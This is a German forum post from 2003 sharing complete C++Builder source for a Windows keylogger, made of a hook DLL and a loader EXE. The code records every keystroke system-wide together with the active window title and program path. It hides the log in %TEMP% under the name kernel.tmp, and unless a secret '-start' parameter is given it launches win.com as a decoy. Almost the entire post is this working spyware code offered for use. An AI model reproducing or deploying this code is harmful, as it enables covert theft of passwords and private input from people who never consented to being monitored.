?
Hi,
ich hab mal mit Hooks rumgespielt. ich weiss nicht was für eine IDE Du benutzt, ich benutze Borland C++Builder 5, deshalb ist der Quellcode auch für diese Umgebung. Für andere Umgebungen musst Du es etwas anpassen.
Auf jeden fall muss sich die Hook-Funktion in einer Separaten Dll befinden, wenn du auf alle Programme zugriff haben willst.
die Dll:
//---------------------------------------------------------------------------
#include <vcl.h>
#include <windows.h>
#include <meconsts.h>
#pragma hdrstop
void AppendFile(const char* FileName, const char* str)
{
int h;
if (FileExists(FileName))
h=FileOpen(FileName, fmOpenWrite);
else
h=FileCreate(FileName);
FileSeek(h,0,2);
FileWrite(h,AnsiString(str).c_str(),strlen(str));
FileClose(h);
}
char* getWindowCaption(HWND hWnd)
{
char szBuf[2050];
int textLen=GetWindowText(hWnd,szBuf,2050);
szBuf[textLen]=0;
char tmp[1025];
int modLen=GetModuleFileName((HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), tmp, MAX_PATH);
tmp[modLen]=0;
strcat(szBuf, " ExeFile:");
strcat(szBuf,tmp);
return &szBuf[0];
}
char translateChar(WPARAM wParam, LPARAM lParam)
{
bool Shift=(bool)HIBYTE(GetKeyState(VK_SHIFT)); // Shift-Taste
bool AltGr=( ((bool)HIBYTE(GetKeyState(VK_CONTROL))) && ((bool)HIBYTE(GetKeyState(VK_MENU))) ); // Alt Gr-Taste
bool Caps=(bool)LOBYTE(GetKeyState(VK_CAPITAL)); // Capital-Taste
// bool Num=(bool)HIBYTE(GetKeyState(VK_NUMLOCK)); // Num-Taste
signed char c=(char)wParam;
if ((c>='A') && (c<='Z')){
if (!(Shift || Caps)) // Shift oder Caps NICHT gedrückt
c-=('A'-'a');
if (((c=='q') || (c=='Q')) && AltGr) c='@';
else if (((c=='m') || (c=='M')) && AltGr) c='µ';
}else switch(c){
case 'º':
if (!(Shift || Caps)) c='ü';
else c='Ü';
break;
case '»':
if (!(Shift || Caps)) c='+';
else c='*';
break;
case 'Œ':
if (!(Shift || Caps)) c=',';
else c=';';
break;
case 'œ':
if (!(Shift || Caps)) c='-';
else c='_';
break;
case 'Ÿ':
if (!(Shift || Caps)) c='.';
else c=':';
break;
case '¿':
if (!(Shift || Caps)) c='#';
else c='\'';
break;
case 'À':
if (!(Shift || Caps)) c='ö';
else c='Ö';
break;
case 'Û':
if (!(Shift || Caps)) c='ß';
else c='?';
break;
case 'Ü':
if (!(Shift || Caps)) c='^';
else c='°';
break;
case 'Ý':
if (!(Shift || Caps)) c='Ž';
else c='`';
break;
case 'Þ':
if (!(Shift || Caps)) c='ä';
else c='Ä';
break;
case 'â':
if (!(Shift || Caps)) c='<';
else c='>';
break;
case '0': if (Shift || Caps) c='=';
else if (AltGr) c='}'; break;
case '1': if (Shift || Caps) c='!'; break;
case '2': if (Shift || Caps) c='"';
else if (AltGr) c='²'; break;
case '3': if (Shift || Caps) c='§';
else if (AltGr) c='³'; break;
case '4': if (Shift || Caps) c='$'; break;
case '5': if (Shift || Caps) c='%'; break;
case '6': if (Shift || Caps) c='&'; break;
case '7': if (Shift || Caps) c='/';
else if (AltGr) c='{'; break;
case '8': if (Shift || Caps) c='(';
else if (AltGr) c='['; break;
case '9': if (Shift || Caps) c=')';
else if (AltGr) c=']'; break;
case VK_RETURN: case VK_SPACE: case VK_TAB: case VK_BACK: break; // nichts unternehmen
default: c=0; // TODO: Num-Tasten implementieren
}
if ( ((c=='ß') || (c=='?')) && AltGr) c='\\';
else if ( ((c=='<') || (c=='>')) && AltGr) c='|';
else if ( ((c=='+') || (c=='*')) && AltGr) c='~';
return c;
}
const int MaxStr=50;
AnsiString out;
EXPORT void CALLBACK WriteStr(bool now=false) //wenn now=true dann sofort schreiben
{
if (now || (out.Length()>=MaxStr) ){
AppendFile((IncludeTrailingBackslash(getenv("TEMP"))+"kernel.tmp").c_str(), out.c_str());
out="";
}
}
EXPORT LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
static HWND oldWin;
if (oldWin!=GetForegroundWindow())
out=("\r\nHWND:"+AnsiString(getWindowCaption(GetForegroundWindow()))+"\r\nKeys:\r\n");
AppendStr(out, AnsiString(translateChar(wParam, lParam)));
WriteStr();
oldWin=GetForegroundWindow();
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
#pragma argsused
BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
switch(reason){
case DLL_PROCESS_DETACH: case DLL_THREAD_DETACH:
WriteStr(true);
}
return TRUE;
}//---------------------------------------------------------------------------
... und eine EXE, die diese Dll aufruft
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
USERES("Windows.res");
//---------------------------------------------------------------------------
HMODULE hDll;
HOOKPROC hkKeyMsg;
HHOOK hhKeyMsg;
typedef void CALLBACK (*TBoolFunc) (bool);
TBoolFunc WriteInFile;
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR szCmdLine, int)
{
MSG msg;
try{
Application->Initialize();
Application->Run();
// Wenn Start-Parameter nicht gefunden dann Win.com als
//- Schein-Anwendung starten
if (strcmp(szCmdLine,"-start")){
// Ich weiss das die Funktion veraltet sei, aber man
//- braucht weniger Parameter als bei CreateProcess
WinExec("win.com",SW_SHOWNORMAL);
Application->Terminate();
}
// Dll Initiieren
hDll = LoadLibrary("DLL.dll");
hkKeyMsg = (HOOKPROC)GetProcAddress(hDll, "KeyBoardProc");
WriteInFile =(TBoolFunc)GetProcAddress(hDll, "WriteStr");
// Hook starten
hhKeyMsg=SetWindowsHookEx(WH_KEYBOARD, hkKeyMsg, hDll, 0);
// Unendliche Schleife
while (GetMessage(&msg, NULL, 0, 0) ){
TranslateMessage(&msg);
switch(msg.message){
case WM_DESTROY:
UnhookWindowsHookEx(hhKeyMsg);
if (hDll!=NULL)
FreeLibrary(hDll);
PostQuitMessage(0);
break;
}
DispatchMessage(&msg);
}
}__finally {
WriteInFile(true);
UnhookWindowsHookEx(hhKeyMsg);
if (hDll!=NULL)
FreeLibrary(hDll);
//Application->Terminate();
}
return 0;
}
//---------------------------------------------------------------------------
Die Eingabe wird in der datei %TMP%/kernel.tmp gespeichert, inklusive
der Bezeichnung der EXE-Datei
[ Dieser Beitrag wurde am 28.06.2003 um 21:47 Uhr von flenders editiert. ]